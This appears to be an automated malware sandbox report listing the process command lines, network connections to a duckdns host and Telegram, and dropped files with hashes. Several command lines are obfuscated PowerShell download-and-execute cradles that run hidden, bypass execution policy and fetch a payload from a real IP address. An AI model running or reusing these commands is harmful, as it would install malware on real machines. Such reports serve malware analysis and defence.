POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5='IEX(NEW-OBJECT NET.W';$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE='EBCLIENT).DOWNLO';[BYTE[]];$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598='13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752(''http://146.103.11.88:222/8X.jpg'')'.REPLACE('13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752','ADSTRING');[BYTE[]];IEX($25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5+$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE+$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598)

C:\Windows\SysWOW64\cmd.exe

CMD.EXE /C POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5='IEX(NEW-OBJECT NET.W';$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE='EBCLIENT).DOWNLO';[BYTE[]];$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598='13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752(''http://146.103.11.88:222/8X.jpg'')'.REPLACE('13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752','ADSTRING');[BYTE[]];IEX($25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5+$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE+$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598)

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5='IEX(NEW-OBJECT NET.W';$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE='EBCLIENT).DOWNLO';[BYTE[]];$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598='13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752(''http://146.103.11.88:222/8X.jpg'')'.REPLACE('13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752','ADSTRING');[BYTE[]];IEX($25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5+$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE+$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598)

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ciaxlj.wsf"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\mnjdko.wsf"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='/-/--/-/(''http://146.103.11.88:222/8X.jpg'')'.RePLACe('/-/--/-/','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='/-/--/-/(''http://146.103.11.88:222/8X.jpg'')'.RePLACe('/-/--/-/','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3100 /prefetch:2

Network

Country Destination Domain Proto
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 t.me udp
NL 149.154.167.99:443 t.me tcp
NL 149.154.167.99:443 t.me tcp
US 8.8.8.8:53 telegram.org udp
US 8.8.8.8:53 cdn4.cdn-telegram.org udp
US 8.8.8.8:53 17.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 99.167.154.149.in-addr.arpa udp
US 34.111.35.152:443 cdn4.cdn-telegram.org tcp
NL 149.154.167.99:443 telegram.org tcp
NL 149.154.167.99:443 telegram.org tcp
NL 149.154.167.99:443 telegram.org tcp
NL 149.154.167.99:443 telegram.org tcp
NL 149.154.167.99:443 telegram.org tcp
US 8.8.8.8:53 152.35.111.34.in-addr.arpa udp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 mrreport.duckdns.org udp
US 146.103.11.88:8808 mrreport.duckdns.org tcp
US 8.8.8.8:53 88.11.103.146.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 24.139.73.23.in-addr.arpa udp
US 146.103.11.88:8808 mrreport.duckdns.org tcp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 146.103.11.88:8808 mrreport.duckdns.org tcp
US 146.103.11.88:8808 mrreport.duckdns.org tcp
US 146.103.11.88:8808 mrreport.duckdns.org tcp
US 146.103.11.88:8808 mrreport.duckdns.org tcp
US 146.103.11.88:222 mrreport.duckdns.org tcp
US 146.103.11.88:222 mrreport.duckdns.org tcp
US 146.103.11.88:222 mrreport.duckdns.org tcp
US 146.103.11.88:222 mrreport.duckdns.org tcp
US 146.103.11.88:222 mrreport.duckdns.org tcp
US 146.103.11.88:222 mrreport.duckdns.org tcp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp

Files

memory/5108-0-0x0000000000380000-0x00000000003A0000-memory.dmp

memory/5108-2-0x00007FFCD5E30000-0x00007FFCD68F1000-memory.dmp

C:\Users\Admin\AppData\Local\Windows Session Manage.exe

MD5 0dda2fcee8bec9941a9cf9c5bd866f10
SHA1 29dba01814ef258f12fc06f9771f8e795e0337af
SHA256 5732891fc200a9a59fdf3b2f96d5977152d1b76eb7220c8fcb28fc476945cddc
SHA512 030eee3ec291fe9a5bf7b6ab1155a853eec01dc13b7319e198872c3af8826f084dda7c60955daf5e893515a528485fadf62e1ad404060b664cecddb0093ed362

C:\Users\Admin\AppData\Local\Windows Session Manager.exe

MD5 0200bc51a30cbce0876330588b6dedc7
SHA1 0f905add671396719246bd2d1874bc64ccf73819
SHA256 f5a031207da80580fd8a2f853f4026bec68e7acddb9bbdb7b586ede6cc643d3b
SHA512 549bd875dbcf59cbe93b3a594d2124f0a463f7676ca4393c6d54e466133b8e579dfa28290f360d62854f62ec22ec34a02d7103242eb94a899f1ce84755b1bd8c

memory/3372-29-0x0000000000660000-0x0000000000676000-memory.dmp

memory/5108-33-0x00007FFCD5E30000-0x00007FFCD68F1000-memory.dmp

memory/3372-32-0x0000000074AA0000-0x0000000075250000-memory.dmp

memory/3420-30-0x00000000005C0000-0x00000000005C8000-memory.dmp

memory/3420-34-0x0000000074AA0000-0x0000000075250000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 e1b45169ebca0dceadb0f45697799d62
SHA1 803604277318898e6f5c6fb92270ca83b5609cd5
SHA256 4c0224fb7cc26ccf74f5be586f18401db57cce935c767a446659b828a7b5ee60
SHA512 357965b8d5cfaf773dbd9b371d7e308d1c86a6c428e542adbfe6bac34a7d2061d0a2f59e84e5b42768930e9b109e9e9f2a87e95cf26b3a69cbff05654ee42b4e

memory/3420-42-0x0000000074AA0000-0x0000000075250000-memory.dmp

\??\pipe\LOCAL\crashpad_1656_VXNZBGFWRBEQDTYB

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 9ffb5f81e8eccd0963c46cbfea1abc20
SHA1 a02a610afd3543de215565bc488a4343bb5c1a59
SHA256 3a654b499247e59e34040f3b192a0069e8f3904e2398cbed90e86d981378e8bc
SHA512 2d21e18ef3f800e6e43b8cf03639d04510433c04215923f5a96432a8aa361fdda282cd444210150d9dbf8f028825d5bc8a451fd53bd3e0c9528eeb80d6e86597

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 3ccace36e9ee545666bb3ba146e982be
SHA1 e0b67e9a317e965d7941aeae727993329f850ae8
SHA256 575e97eb10ff0db2c4c8ab661ac6dc906fb0d878728f2c2685261d5f9ad6030d
SHA512 5d72fd414136415d0e03699d79db34ae956f8276fa176e939110f9d448e5019fe92adbd6b53420ab53427ba71997602b6f9995f4ee5537efb811e1618911b4b6

memory/3372-78-0x0000000004F40000-0x0000000004F50000-memory.dmp

memory/3372-79-0x0000000004FF0000-0x000000000508C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmp4B32.tmp.bat

MD5 085f7ba137013b629a99309bcf8b2998
SHA1 33d52f28dabcaf9c1682fd4ffa9fe1ea8bff2164
SHA256 9544ac2f65a3ce2ef9558b346df60e0af3d27329c6b82a57c85068a2c9b92bfa
SHA512 c60fb107c4216d9d9a9b8474dc88b528cbd10b53c15b772ae964146387c75c1ca7b9070007b2f6eddbfc0919e2ffb44e4a83f9e1ac4b948616404873f739085b

memory/3372-84-0x0000000074AA0000-0x0000000075250000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

MD5 6752a1d65b201c13b62ea44016eb221f
SHA1 58ecf154d01a62233ed7fb494ace3c3d4ffce08b
SHA256 0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd
SHA512 9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Windows Session Manager.exe.log

MD5 916851e072fbabc4796d8916c5131092
SHA1 d48a602229a690c512d5fdaf4c8d77547a88e7a2
SHA256 7e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d
SHA512 07ce4c881d6c411cac0b62364377e77950797c486804fb10d00555458716e3c47b1efc0d1f37e4cc3b7e6565bb402ca01c7ea8c963f9f9ace941a6e3883d2521

memory/2820-98-0x0000000074A00000-0x00000000751B0000-memory.dmp

memory/2820-103-0x0000000005570000-0x0000000005580000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 4a9e7b9685aa4a1b8eba91f3501064ad
SHA1 3f6f690e071c682fada5af755fbfbba41c256a3e
SHA256 1b36e97d74158422105c6cd946803be6f40398a610c916c235eb366f5d9d21ff
SHA512 a16d24c486ace37564642072b71c33e7e11f5fc44e446e4e84878f009940d2027f67527fef82236625293f242fbe6b978632c75d67e41a4392edebb5095659f5

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 7aa5235db35fa8eab106d83b5d0437bc
SHA1 eef72dc40467a7e54f0303cb5d50a26a34e774b3
SHA256 51a334da0ccbff9afbd42f2ea08ef5119deddf7b02f1e2d1f9445f8d894d63dd
SHA512 bf2a838711bfdfb130030bcc1b24d3e2e6a79e2981daeb93d35ee760f08bbee229e1c485d79b77c849b2cabb27825487c03580b23c8c53ccd011d47247be2fcb

memory/2820-120-0x0000000005DD0000-0x0000000006374000-memory.dmp

memory/2820-121-0x0000000005A00000-0x0000000005A92000-memory.dmp

memory/2820-122-0x0000000005B90000-0x0000000005B9A000-memory.dmp

memory/2820-123-0x0000000005D60000-0x0000000005DC6000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 dea0ae59386abcc2b175ecfa66b922f7
SHA1 d1771c9d290256ec8a3d60419e636cad3c919750
SHA256 8b638f333c8bd8244b624e689b4b5b0086c8fd898819fa5c4250ce96b54a1e9d
SHA512 0e646c90ab8342c652738825917f23fe1bf5be6c9d6d0cad0d0ad3e041896c3b89267dd1a0ac0df4f27f4627cb4170bd6e2bba7e495ea28114af90b9867a8281

memory/2820-138-0x0000000074A00000-0x00000000751B0000-memory.dmp

memory/2820-139-0x0000000005570000-0x0000000005580000-memory.dmp

memory/2820-150-0x0000000007350000-0x0000000007364000-memory.dmp

memory/2820-149-0x00000000073C0000-0x0000000007436000-memory.dmp

memory/2820-151-0x00000000076D0000-0x00000000076EE000-memory.dmp

memory/2820-156-0x00000000077F0000-0x0000000007800000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\fqdzhj.bat

MD5 8f681e9844e48b62ae75fabb6f317229
SHA1 cf985e3027cf4b46236c177e66901250d7592a09
SHA256 4589d5b17afd1ed516a3ad4b2748ae0b0325ae713b3e40eba05adb86605ef935
SHA512 3d592be4db8410df3e67904bd573a160f8dd43017c57e847851374f1926f4a2242f1ecdbf53fa614e0e470091ae29cf1c53c6acedc3fcfba396d5dda6de55043

memory/1548-165-0x00000000049B0000-0x00000000049E6000-memory.dmp

memory/1548-166-0x0000000074A00000-0x00000000751B0000-memory.dmp

memory/1548-168-0x00000000049A0000-0x00000000049B0000-memory.dmp

memory/1548-167-0x0000000005020000-0x0000000005648000-memory.dmp

memory/1548-169-0x00000000049A0000-0x00000000049B0000-memory.dmp

memory/1548-170-0x00000000056C0000-0x00000000056E2000-memory.dmp

memory/1548-171-0x0000000005860000-0x00000000058C6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2yhbbzqs.5lz.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1548-181-0x0000000005C20000-0x0000000005F74000-memory.dmp

memory/4140-182-0x0000000074A00000-0x00000000751B0000-memory.dmp

memory/4140-183-0x0000000004970000-0x0000000004980000-memory.dmp

memory/4140-184-0x0000000004970000-0x0000000004980000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\ciaxlj.wsf

MD5 7ecb4c8ffea45ae4b8e12fd5f8f891eb
SHA1 a95aff7b0051544f68428199b8f042d28fe1207f
SHA256 de91c39430065d9d707bf5cfc90b7816d377d5822f379a65ef06f606e88a55d5
SHA512 b1de50dda1b9990a271b2d4e4ce1c69e7c5ac63c40567e672c04f620a62dedeea8da951dc3a26e2633a56831dce6e289a1a1ce9a6f61f3f38d2f6d93e25ee640

memory/1548-200-0x0000000005BF0000-0x0000000005C0E000-memory.dmp

memory/1548-201-0x0000000006050000-0x000000000609C000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\K4KS10IH\SS[1].txt

MD5 b8a7b133191c0543199da1e93a7c65ac
SHA1 72ea81ecccbdd8680749a089352f4ce43ca3d548
SHA256 bd04f211afd5989130e8a0e35ea0d7be1e1540412ea3bd4b1557235db3e687a2
SHA512 73a7d3945eff66f42fba2a8df1f05767080666275c1cf2f0350d3af4bfc9fc8843af2624a8737d70055fddb72532f17dd1af52d2ed1b1b774b25d026df3f2a39

memory/3876-217-0x0000000074A00000-0x00000000751B0000-memory.dmp

memory/3876-218-0x0000000004C30000-0x0000000004C40000-memory.dmp

memory/3876-228-0x0000000004C30000-0x0000000004C40000-memory.dmp

memory/3536-229-0x0000000074A00000-0x00000000751B0000-memory.dmp

memory/3536-239-0x0000000002970000-0x0000000002980000-memory.dmp

memory/3536-240-0x0000000002970000-0x0000000002980000-memory.dmp

memory/4140-250-0x0000000007550000-0x0000000007BCA000-memory.dmp

memory/4140-251-0x00000000061C0000-0x00000000061DA000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 2b76eb9e93b52a02284c87f21ab7c4e3
SHA1 4497441f8d7073e53231041b20ba23ea99ea47ef
SHA256 0c4197f1931fd67a07104969d34f0624d43b1ad256d5454e3e7f7680d28acaac
SHA512 9c892c21121294b0c661f1900320c439fba5c24d0f08abbd201ee8a27a6ac68e73cb9fd5541e4502f774f0bc0edd1f6348da8a3dd977adab99d3ef55cf4066fd

C:\Users\Public\Conted.vbs

MD5 110da9d3474ba64fa1a18c173685c25d
SHA1 9f093829518a9268bf9807fda7bef47e7832c497
SHA256 a31dbd6f7416f150403c19be69f02d5e8608f5e7fae88a29831d40db15849b60
SHA512 ef5fb4415fbd12e633ad964ca132ac3be81bfacd489db788b86fc7ef245d6f51bc08faecaf24874649d0c754b1892075a28042bf8483ab85b1996a25cfa57443

C:\Users\Public\Conted.bat

MD5 759278dd3dc3679bf7efd1ec681c0aa1
SHA1 72b37494696deea940ac75b4c4e06e2b6ce419ef
SHA256 cba344447d8228d88c93d64ffdcda1de8562ef41adc4901191548e00bbfc5f19
SHA512 8b4f63354c5aa1ec4102e7aadbb2da34b2a0ba2d3ae6b8d22a70fd75c3c3b9e70cd4ce8128bd50cb400970697c49810c4ef69f96352e36ba4f2b7a647ab8a27f

C:\Users\Public\Conted.ps1

MD5 1f82ca200852bb32aa56a5ed76171aae
SHA1 6e13c6dd596ae40455ccd9250c59f286fb845634
SHA256 a6939a0533782b8fa4892a8b22c1325de39df6734c160bfbd1a17db87011c51d
SHA512 1aa79f56c2a0e6ed664fd2bfddb47ae97151abc0a1d0b756f54339e486224abbf052b802bc57297c243e1c8984407d0b0fa5623fc032d9b79ad89dfa11d9578c

memory/4140-278-0x0000000004970000-0x0000000004980000-memory.dmp

memory/4140-281-0x0000000074A00000-0x00000000751B0000-memory.dmp

memory/1548-282-0x0000000074A00000-0x00000000751B0000-memory.dmp

memory/3876-283-0x0000000004C30000-0x0000000004C40000-memory.dmp

memory/1548-284-0x00000000049A0000-0x00000000049B0000-memory.dmp

memory/1548-285-0x00000000049A0000-0x00000000049B0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 4280e36a29fa31c01e4d8b2ba726a0d8
SHA1 c485c2c9ce0a99747b18d899b71dfa9a64dabe32
SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
SHA512 494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 e3b5419dbd537c0ac54752109a98fe84
SHA1 d7af25d7c546c03ea3e4fd4dca46235cf5c94dec
SHA256 d985d4ff417ec84f66616b3f4cf20ae8433c4946fdf9e6ec729042337a8d9a62
SHA512 398bb8022dcca0ddd250319823e25a14d9a924cdc8592a76cdaf9eb294cafa3751baccd414513905fbc8c1f0fb0163b832acbb7dc2e63f4617403cbcc160fbeb

memory/3876-289-0x0000000074A00000-0x00000000751B0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 46277a0fe8a27661afdbcf36ec5e0149
SHA1 b3fc24f2a716311c96526b4ddebfb7f87d53f588
SHA256 432b9e8d38886f23b418af5b9a283a4d06e77bd69af473dfa2b33c7bb1959fbb
SHA512 a55efbf8b14b4af0d0109e085d026395168332603995e3cbd1c2511745d8db3d165235700454ead8b663eded5e012348b5c6b5f7a1b5a894bbe2ab356f86b173

memory/3536-292-0x0000000074A00000-0x00000000751B0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 e917ef767755ce15c68a0fa49d0ebf40
SHA1 8fa02208720fc18553de9d6475942d0a2a075147
SHA256 728ef387a5c1f71034f366e81b3d2128663e5187996713af08fde2657f4b6607
SHA512 cde59bbaeab97674b8338d84af38a0d54521fa42a523f84f1f46b346c7326dfec2ba3b0fcba5d800184a56a6102cf3f0f9a8774f5f5193cdc5d8d1a2c3838222

memory/1548-295-0x0000000074A00000-0x00000000751B0000-memory.dmp